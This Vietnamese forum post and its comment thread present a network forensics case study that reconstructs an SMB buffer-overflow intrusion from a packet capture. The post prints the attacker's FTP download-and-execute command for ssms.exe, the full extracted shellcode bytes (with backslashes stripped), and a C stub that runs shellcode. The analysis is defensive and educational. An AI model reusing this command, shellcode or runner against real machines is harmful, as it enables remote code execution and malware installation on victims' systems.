Forensic 3 - Network Forensics (tiếp)

ping

VIP Members
19/06/2013
58
101 bài viết
Forensic 3 - Network Forensics (tiếp)
Chúng ta tiếp tục với Case Study về Network Forensics, trong phần này tôi sẽ đề cập sâu hơn về cuộc tấn công của Hacker

6. Mô phỏng lại cuộc tấn công của Hacker
6.1. Quét cổng 445 để xem cổng này có mở không, điều này thể hiện qua các gói tin SYN, SYN/ACK, ACK, FYN liên tục

149089301511.png


6.2. Thiết lập kết nối IPC và request đến dịch vụ lsarpc

149089301512.png


Bạn đọc có thể tìm hiểu thêm về hình thức kết nối IPC$, ở đây hacker đã gửi kết nối với giá trị username và password đều rỗng, còn được biết đến với kiểu tấn công Null Session.

6.3. Khai thác lỗi Buffer Over Flow của hàm DsRoleUpgradeDownlevelServer() thông qua việc truyền shellcode(Frame #33)

149089301513.png


6.4. Shellcode mở cổng 1957 cho phép backdoor chạy trên đó, hacker qua cổng này truyền command vào(Frame #42)

149089301514.png


Lệnh mà hacker thực hiện là:

Mã:
echo open 0.0.0.0 8884 > o&echo user 1 1 >> o &echo get ssms.exe >> o &echo quit >> o &ftp  -n -s:o &del /F /Q o &ssms.exe

Lệnh này có tác dụng yêu cầu máy nạn nhân kết nối ftp đến cổng 8884 của hacker và download file ssms.exe sau đó thực thi file này. Đến đây việc khai thác coi như hoàn thành.

Mọi người có thể chú ý thêm các frame từ #71 về sau, đây là các đoạn nhận file ssms.exe, file được gửi qua socket thành các mảnh nhỏ và ghép lại sau đó

149089301515.png

7. Truy tìm mã độc
Như vậy là chúng ta đã hình dung được cuộc tấn công xảy ra như thế nào, nhưng một vụ điều tra thì không chỉ có vậy. Phải xác định được mã độc mà hacker sử dụng hoạt động như thế nào, nhưng trước hết cần thu được mẫu này.

Đầu tiên là Shellcode mà hacker đã sử dụng. Chọn Frame #33, trong khung Packet Bytes chọn chế độ Reassembled TCP chúng ta sẽ thấy đầy đủ nội dung mà hacker gửi đến máy nạn nhân.(Khi gửi tin qua TCP thì dữ liệu có thể phân mảnh ở nhiều gói tin khác nhau, Reassembled TCP sẽ giúp chúng ta ghép các mảnh dữ liệu này lại với nhau)

149089301516.png


Sau khi loại bỏ các lệnh NOPE(mã 90) thì thu được shellcode thực sự mà hacker đã dùng:

Mã:
xebx10x5ax4ax33xc9x66xb9x7dx01x80x34x0ax99xe2xfaxebx05xe8xebxffxffxffx70x95x98x99x99xc3xfdx38xa9x99x99x99x12xd9x95x12xe9x85x34x12xd9x91x12x41x12xeaxa5x12xedx87xe1x9ax6ax12xe7xb9x9ax62x12xd7x8dxaax74xcfxcexc8x12xa6x9ax62x12x6bxf3x97xc0x6ax3fxedx91xc0xc6x1ax5ex9dxdcx7bx70xc0xc6xc7x12x54x12xdfxbdx9ax5ax48x78x9ax58xaax50xffx12x91x12xdfx85x9ax5ax58x78x9bx9ax58x12x99x9ax5ax12x63x12x6ex1ax5fx97x12x49xf3x9axc0x71x1ex99x99x99x1ax5fx94xcbxcfx66xcex65xc3x12x41xf3x9cxc0x71xedx99x99x99xc9xc9xc9xc9xf3x98xf3x9bx66xcex75x12x41x5ex9ex9bx99x9ex3cxaax59x10xdex9dxf3x89xcexcax66xcex69xf3x98xcax66xcex6dxc9xc9xcax66xcex61x12x49x1ax75xddx12x6dxaax59xf3x89xc0x10x9dx17x7bx62x10xcfxa1x10xcfxa5x10xcfxd9xffx5exdfxb5x98x98x14xdex89xc9xcfxaax50xc8xc8xc8xf3x98xc8xc8x5exdexa5xfaxf4xfdx99x14xdexa5xc9xc8x66xcex79xcbx66xcex65xcax66xcex65xc9x66xcex7dxaax59x35x1cx59xecx60xc8xcbxcfxcax66x4bxc3xc0x32x7bx77xaax59x5ax71x76x67x66x66xdexfcxedxc9xebxf6xfaxd8xfdxfdxebxfcxeaxeax99xdaxebxfcxf8xedxfcxc9xebxf6xfaxfcxeaxeaxd8x99xdcxe1xf0xedxcdxf1xebxfcxf8xfdx99xd5xf6xf8xfdxd5xf0xfbxebxf8xebxe0xd8x99xeexeaxabxc6xaaxabx99xcexcaxd8xcaxf6xfaxf2xfcxedxd8x99xfbxf0xf7xfdx99xf5xf0xeaxedxfcxf7x99xf8xfaxfaxfcxe9xedx99xfaxf5xf6xeaxfcxeaxf6xfaxf2xfcxedx99

Chúng ta tiến hành phục hồi shellcode này bằng cách đưa đoạn shellcode này vào một chương trình test shell như thế này:

Mã:
#include
#include

unsigned char code[] = "";

int main()
{
    int (*ret)() = (int(*)())code;
    ret();
}

Với file ssms.exe, như tôi đã trình bày ở phần trước được download về máy nạn nhân thông qua socket và cũng bị phân mảnh trong nhiều gói tin. Gộp file đầy đủ bằng cách sử dụng tính năng Follow TCP Stream của Wireshark

149089301518.png



Save As file này ra .exe

8. Phân tích mã độc
Ở bước trên, chúng ta đã thu được một file shellcode và một file ssms.exe. Việc tiếp theo là phân tích cụ thể xem những file thực thi này làm việc gì trên máy nạn nhân. Bạn đọc nên đọc thêm lọat bài về Reverse Engineering trên WhiteHat để hiểu rõ về công việc này.

Tôi sẽ không phân tích kỹ bước này ở đây, lí do là sẽ vượt xa phạm vi chủ đề Network Forensics. Kết quả kiểm tra ssms.exe trên virustotal cũng không mấy ngạc nhiên khi 48/51 AV nhận diện là virus:
https://www.virustotal.com/en/file/...69d3dffd65733871cddf6b6d/analysis/1396850758/

Đến đây cuộc điều tra cũng có thể xem như đi đến hồi kết, chúng ta đã tìm ra được một số thông tin về hacker (mặc dù để tìm ra kẻ tấn công ngoài đời thì cần phụ thuộc cả vào yếu tố pháp luật hơn). Dưới góc độ kỹ thuật thì chúng ta biết được cách hacker tấn công hệ thống như thế nào, biết được hệ thống bị dính những lỗ hổng gì và những nguy cơ tiềm ẩn trong đó để cập nhật bản vá và khắc phục sự cố không tái diễn trong tương lai.
Trong các bài viết sắp tới, tôi sẽ tiếp tục về những mảng khác của Computer Forensics.
 
Chỉnh sửa lần cuối bởi người điều hành:
Re: Forensic 3 - Network Forensics(tiếp)

Bài Hay quá hóng phần tiếp :D
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Re: Forensic 3 - Network Forensics(tiếp)

làm thế nào để loại bỏ dc các lệnh NOPE vậy bạn :D
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Re: Forensic 3 - Network Forensics(tiếp)

Skynet103;25492 đã viết:
làm thế nào để loại bỏ dc các lệnh NOPE vậy bạn :D
code = code.replace('\x90','')
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Re: Forensic 3 - Network Forensics(tiếp)

Tesla123;25494 đã viết:
code = code.replace('\x90','')
code ntn vậy bạn. Nói rõ giúp mình dc k :D
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Re: Forensic 3 - Network Forensics(tiếp)

Skynet103;25495 đã viết:
code ntn vậy bạn. Nói rõ giúp mình dc k :D
Thì nó chỉ là cách banj lập trình thôi (C/C++/python/ruby/...), mình không giải thích thêm nữa.
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Bài phân tích hay quá! Cảm ơn
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Re: Forensic 3 - Network Forensics(tiếp)


code ntn vậy bạn. Nói rõ giúp mình dc k :D
Thực tế nếu thực hiện dòng lệnh code = code.replace("\x90") nó hiểu là thay thế hay chính xác hơn là loại bỏ mã 90(NOPE) khỏi đoạn mã trên. Về tác dụng hay mục đích sử dụng và tại sao xuất hiện mã này thì bạn nên tìm hiểu thêm bằng Google nhé.
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  • Thích
Reactions: sunny
Comment
mình muốn demo cái này, ai có thể giúp mình với được k ạ? có hậu tạ...
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
MÌnh đã lên mạng , mà vẫn ko biết cách xủ lý đoạn shellcode như thế nào , và nhập code sao để loại bỏ NOPE , với lại chương trình test shell là mình tự viết à , ngôn ngữ nào vậy bạn .
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
MÌnh đã lên mạng , mà vẫn ko biết cách xủ lý đoạn shellcode như thế nào , và nhập code sao để loại bỏ NOPE , với lại chương trình test shell là mình tự viết à , ngôn ngữ nào vậy bạn .
Đoạn chương trình test chỉ là đoạn mã C để khởi chạy virus từ các mã hex mình thu được sau khi loại bỏ các đoạn 0x90
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Mình cũng không biết là bằng cách nào mà ta biết hacker đã mở cổng 1957 , với lại nếu bạn xử lý đoạn shellcode trên thì mình xin thật chi tiết cách làm được không ?
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Bài viết công phu quá. Thanks
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Bên trên